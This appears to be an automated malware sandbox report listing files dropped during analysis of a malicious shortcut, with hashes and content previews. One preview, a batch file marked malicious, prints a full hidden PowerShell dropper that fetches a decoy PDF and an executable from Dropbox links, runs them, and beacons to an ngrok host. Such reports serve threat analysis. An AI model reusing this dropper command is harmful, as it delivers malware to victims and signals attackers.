Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\fc568883-0e79-499a-b8aa-a2a7b2ce04ca.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44902
Entropy (8bit):	6.095640239757916
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWeYi1zNtA/nfNJlDluC6KJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynQnfgKtSmd6qE7lFoC
MD5:	310C898D1B43EE4B9D75324FC0AFA1DC
SHA1:	D500C03E8D59BB85EABD268AD2B80F9556A90AF6
SHA-256:	4873DABF755150F17EB9F9879C21A296CD238BC960BA3A8E6B02E5033AEFFA40
SHA-512:	496F89A51D17339D3B5E9D4E9BA81CA0159D0B83DBF0D5FB02F4B7CFC0C5F6E0B6E45F04205525927E6B981EA6E5597FA6A61DD94522A9E82232F5E2A14CC96C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8443052399016038
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxkxl9Il8uFbjfH7LfyiQI4oI43FEd1rc:m5YfDbLfafmD
MD5:	5DA54CFE5D9428B4A0C6E22881133ED0
SHA1:	23AF339CBF70576449743D2DBDCF5FB077FBA4CF
SHA-256:	40FE13969B052DA0C8226B06CBE89A69032AE0095A7D19FB85AA440CB2300895
SHA-512:	6E0DC9AD7F941C605884AC767919FA56B608BC637849BB42555978E2CF92775C805D9FDB577650829430C3741491A27E407341D1724D31189D2F44CA4C736D2C
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.O.R.X.F.H.1.Q.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.T.m.d.T./.n.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.002551845975442
Encrypted:	false
SSDEEP:	96:FYXnonfnO7Y8UxUbfS6WfWFZn5NeD8p5Uu:FgnonfO7Y8U+W6tZDo8p5T
MD5:	DE74F49801B9F539DD8D3EF8C5C91E4A
SHA1:	1BC87A9AA38C2AB18E7068A75599C654F8775174
SHA-256:	5978189A2189CA39E03527788D5C973FC7C879F6384A842A4518861D3413CC81
SHA-512:	0BFE2E644054219AD488214DEE602093BCB1F84F0FDB6F9D54134EE4AB5482A7D2D83C93173FF450C43AA5942B520A0A81150D86054962B7D84D03C7D24A0583
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".d.J.p.i.+.X.R.Q.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.T.m.d.T./.n.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9016046122655146
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xtxl9Il8unWypjT7WN1/B3jlapV930Xeek9Zw1wd/vc:azYRWypjTqN15jgrt0OnM1J
MD5:	3239C2A84C016F5F48F1218C3AC39DDE
SHA1:	5E3493B108C41FA90278CC6D6A44BB0247DD532E
SHA-256:	DC00D6DF60584ECD8D687D655AB3916E74E8485EB70EAEF2BB8226F3908EF641
SHA-512:	A247143695B2C22732E63777410A32873277774F0864D83C1E2B5304B157E00941A929B9D05F0217F827683B3F020956A0AC8B65AFD3A1324AC49B7794F56B19
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".4.X.L.l.K.U.Z.v.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.T.m.d.T./.n.

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	61147
Entropy (8bit):	5.078086286400755
Encrypted:	false
SSDEEP:	1536:DA1+z307j1bV3CNBQkj2Uh4iUxqaVLflJnPvlOSHBqdIJfSb7OdBYNPzqtAHkwN7:01+z30n1bV3CNBQkj2UqiUqaVLflJnPE
MD5:	96F9023163A6C17B352680E896DEA496
SHA1:	DD5EC72232854F5F14C41AFA756274139EBF4FCF
SHA-256:	A0D599D68CBF5FFC3B9B299967A6B8CCA4BE9B5F3E91EC70C50CBA413D0F2071
SHA-512:	CF42E8BD1F0ECA8E76D2FB6C7A0132B608D278893C067707FB0B912E1D47C7525E2D92D65EBD599D25453D1A5CF448364026B60133262C4662FDDC4EA6B1B6A2
Malicious:	false
Preview:	PSMODULECACHE.\...I.\.%...I...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\SmbShare\SmbShare.psd1T.......gsmbo........gsmbm........Enable-SmbDelegation.... ...Remove-SmbMultichannelConstraint........gsmbd........gsmbb........gsmbc........gsmba........Set-SmbPathAcl........Grant-SmbShareAccess........Get-SmbBandWidthLimit........rsmbm........New-SmbGlobalMapping........rsmbc........rsmbb........Get-SmbGlobalMapping........Remove-SmbShare........rksmba........gsmbmc........rsmbs........Get-SmbConnection........nsmbscm........gsmbscm........rsmbt........Remove-SmbBandwidthLimit........Set-SmbServerConfiguration........cssmbo........udsmbmc........Remove-SMBComponent........ssmbsc........ssmbb........Get-SmbShareAccess........Get-SmbOpenFile........dsmbd........ssmbs........ssmbp........nsmbgm........ulsmba........Close-SmbOpenFile........Revoke-SmbShareAccess........nsmbt........rsmbscm........Disable-SmbDelegation........nsmbs........Block-SmbShareAccess........gsmbcn........Set-Sm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.0818136700495735
Encrypted:	false
SSDEEP:	3:NlllulHlilh:NllU0
MD5:	11C7104307B84841DED2F647EFC27B1B
SHA1:	04321F29EBD61667A55C11F6611CDD6BAB40D93D
SHA-256:	23855A334F15AABC7DDEB39534D5E6D3BCD1CC64C3B8F0184C1E9C90D4E0F7D1
SHA-512:	90B8CCD396581393500166C0E9B7148868F7514162871DFE99BCBBE3C95977DCE7F87FF9A421C2EB42A99ECA7CA6F186D92C972B0D51C30D38F476DFB87397EE
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\130e969b-e5c7-4340-a2cf-7f225f49c2e1.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	656088
Entropy (8bit):	7.994208869820549
Encrypted:	true
SSDEEP:	12288:r/TWRciaGbqp+t4v1TxPDt75QhxfR4/xFSnhfCsP10+:jTgc3Iq+0hxLt75Q6ZFShf/Pm+
MD5:	19E87DB70542A9FA556C1412E35FC300
SHA1:	B74FE6AB84969B938BF76E2A780546CFC727EAFB
SHA-256:	CF41E7881EC4A232F462EF0FC0E15C409619D18B3A8A84B49768268505AF80E3
SHA-512:	3983D20EF020BCAED0A3269CAE844B35BFCC99558820697517D4C9BDBD886D425A3236D08DB9194E816F0AACE2E6DDEFF0F95A693B4ED7FC3B91EBA018CEF440
Malicious:	false
Preview:	%PDF-1.7.%.....18 0 obj.<<./Length 293./N 3./Filter /FlateDecode.>>.stream.x.}..J......(.....28.h..iRpi"..V..S..A.OHS..tspu+....c(....#....AR.x.......@.....?..F..[V[..G@`...dK..$...O.K..o...@...6..`.O.,f'..O. .a.sx.0A..6..vf...8....{c7..%op..Z.:u.....Q.......0Q.F.........(.S....DGACAa..j.g.rx....]..s...PxM.......c...vhO.<..v....-X}...b3~.......mDJH.T~...K..endstream.endobj.19 0 obj.<<./Type /XObject./Subtype /Image./Width 2400./Height 1363./ColorSpace /DeviceRGB./BitsPerComponent 8./ColorTransform 0./Filter [/FlateDecode /DCTDecode]./DecodeParms [null <<./Quality 45.>>]./Length 11488.>>.stream.x..}}p..y.}. ....:..4nA'`........I..e.....T].).E.!....&u..9.&k.0-.]A.......m...V.Lf.FP..!.4M..Q.......M......gw...=H....x.....o...........x&qj......F.3.}...O......}.?.......}.....~lq.-,}.g?....K......>......\_.....I..f.x.........G.....w....\:~9.\|.".h2.h..7..5.Hf.._B.K.....G...:A>..D.N......y........Sg.g....=..+..~.+.~...............N.wtl\|..O..O......CO........B.r...\|..

C:\Users\user\AppData\Local\Temp\1357945884.bat

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	DOS batch file, ASCII text, with very long lines (829), with CRLF line terminators
Category:	dropped
Size (bytes):	846
Entropy (8bit):	5.625521364971686
Encrypted:	false
SSDEEP:	12:0G89YrII4wvt/ZTt5AfSZ3vG3JkKVd8blK8/1MnzPWFrNG3JkkLMALzI2Z1Mngf4:0G/j59O3J3VO2qtE3JIIwg+35PFD
MD5:	436F3EA86F14441069BCC1E311628357
SHA1:	8B8B465E85703F79D75170AB565AEF8D45ABF368
SHA-256:	4BD2223D18E26D1705B9A8033160554A91455354746EBC6AA19970BFD21A95D6
SHA-512:	4076128CD7C6D21796F0D06B0AE3579CF1412E2569CF8472FA864E19C2EEDD4B1F816B0CE0CF0BC08E7B3541B622F1406D02766461141B44D1CEC113D1CFDE34
Malicious:	true
Preview:	@echo off..powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/w47rcqepfnwm2w25ysbw7/Documents-about-company-information-and-job-descriptions-2.pdf?rlkey=yz6h1qih6tkldgdp6erbolsb5&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=cqe2asmea4sh0uo2xxsstxzdd&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/metadata/a53f93d43005d4ee2fadb95063c82fef'; }"..exit

C:\Users\user\AppData\Local\Temp\5e58c812-15bc-4a39-8aed-78da7da0cb02.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\61e775b9-f042-49c4-8e5a-f3fb632a53f1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983991878155761
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEIx:l81Lel7E6lEMVo/S01fDpWmEgr
MD5:	03E0A41C7EF64C946D818C2F5E4B7EC3
SHA1:	B3FEB76961D6A54EB9566EAC7E688BC55394B672
SHA-256:	CA2E03394F3B161D3A1E25F6A77B28EFDAB1D7989A0A1C2B6FC1764D8C27B7C7
SHA-512:	3F775790206CADE3A9CFBDCC3C081611330D525222D43085749A98D975B779109DF305799C53386E4B251D1D892735F5B4B31E6CD95475D0606BDD13BDB24001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\7129bc5b-0256-4676-8ad1-687ef0a29cb3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\93929e89-0c8d-400c-8eb9-617fd03b7e96.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41924
Category:	dropped
Size (bytes):	76314
Entropy (8bit):	7.996159328201069
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/CFZ2cHkObTysAGz88:GdS8scZNzFrMa4M+labb1TqeZ
MD5:	A4C1A16984D4A1F4D15F6A9075FE4ABD
SHA1:	15E87677062BF7F7B7E67381FC2E84D460F28F6F
SHA-256:	254A9865F8224E75BA2122569902D21BB2D612E501589842B35C334B8DA28187
SHA-512:	6BFDF4BEFE6BB68184683D7E90994848D262D7C18BB4D74BF024BF99035511A1F3564BE49E8E6DF934CC4E6F33216FA1A8B2E613B9F5900B51A8AB68B6C754FE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\96c10397-92fe-4bc2-aa15-297a3eaad6c6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	154477
Entropy (8bit):	7.835886983924039
Encrypted:	false
SSDEEP:	3072:edP3YiyHk53xr3zWwaFYgn5JFug0HjaHNK7XeSD/r/pLbWNiOAo1np:edPYJHAzyVu7HjacuSD/rBPBOJnp
MD5:	14937B985303ECCE4196154A24FC369A
SHA1:	ECFE89E11A8D08CE0C8745FF5735D5EDAD683730
SHA-256:	71006A5311819FEF45C659428944897184880BCDB571BF68C52B3D6EE97682FF
SHA-512:	1D03C75E4D2CD57EEE7B0E93E2DE293B41F280C415FB2446AC234FC5AFD11FE2F2FCC8AB9843DB0847C2CE6BD7DF7213FCF249EA71896FBF6C0696E3F5AEE46C
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........%0............G.m.}...CG.....a.s.:.S..QiI.fT.k.MdOF.2....D...v`m...M.7'.R.d...8....2..~.<w8!.W..Sg.._A6.(.pC..w.=..!..7h!J...].....3......Kf..k...\|....6./.p.....A....e.1.y.<~Mu..+(v8W........?=.V+.Gb&...u8)...=Qt...... ......x.}.f..&X.SN9e..L....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E.!....~..E...Au.C.q..y.?2An.a..Zn}. H~.vtgI...o.\|.j.e....p.........".&...........Z]o.H..+..zF.......S.E}@.F..".P`...3......jW....H.H...:..8.......<...........Z.e.>..vV.......J.,/.X.....?.%.....6....m#.u].Z...[.s.M_...J.."9l..l...,\|.....r...QC.....4:....wj.O...5....s.n.%.....y....c.....#F........)gv(..!S

C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	25100288
Entropy (8bit):	5.863385914983837
Encrypted:	false
SSDEEP:	196608:46y/xQFQBQUZPeRef5BxRJdkpzpNfwcp0rbZwf7eLV441E/JJJJJJJJWcM:43QmBNecfhgYC64JJJJJJJJWcM
MD5:	9BFDFAADE8C1612270DA2A69959756A7
SHA1:	A5C0F26D9E9B13AD7A2E7AE083999FAF5F3D9FC0
SHA-256:	4CD95BF0380DE67906211A1F7609EE91FF705D85EE45E14B1CAC6BED13D53C19
SHA-512:	A3DC9080E9ADDC2AD05AE8998E98264D04142AB1E5F3F859F61CABB6E42A237BE7D90324856CC4DD5D89FB4E18051B0436C3CB28CCFAB16ACE3FDFB632834768
Malicious:	true
Joe Sandbox View:	Filename: 0J3fAc6cHO.lnk, Detection: malicious, Browse
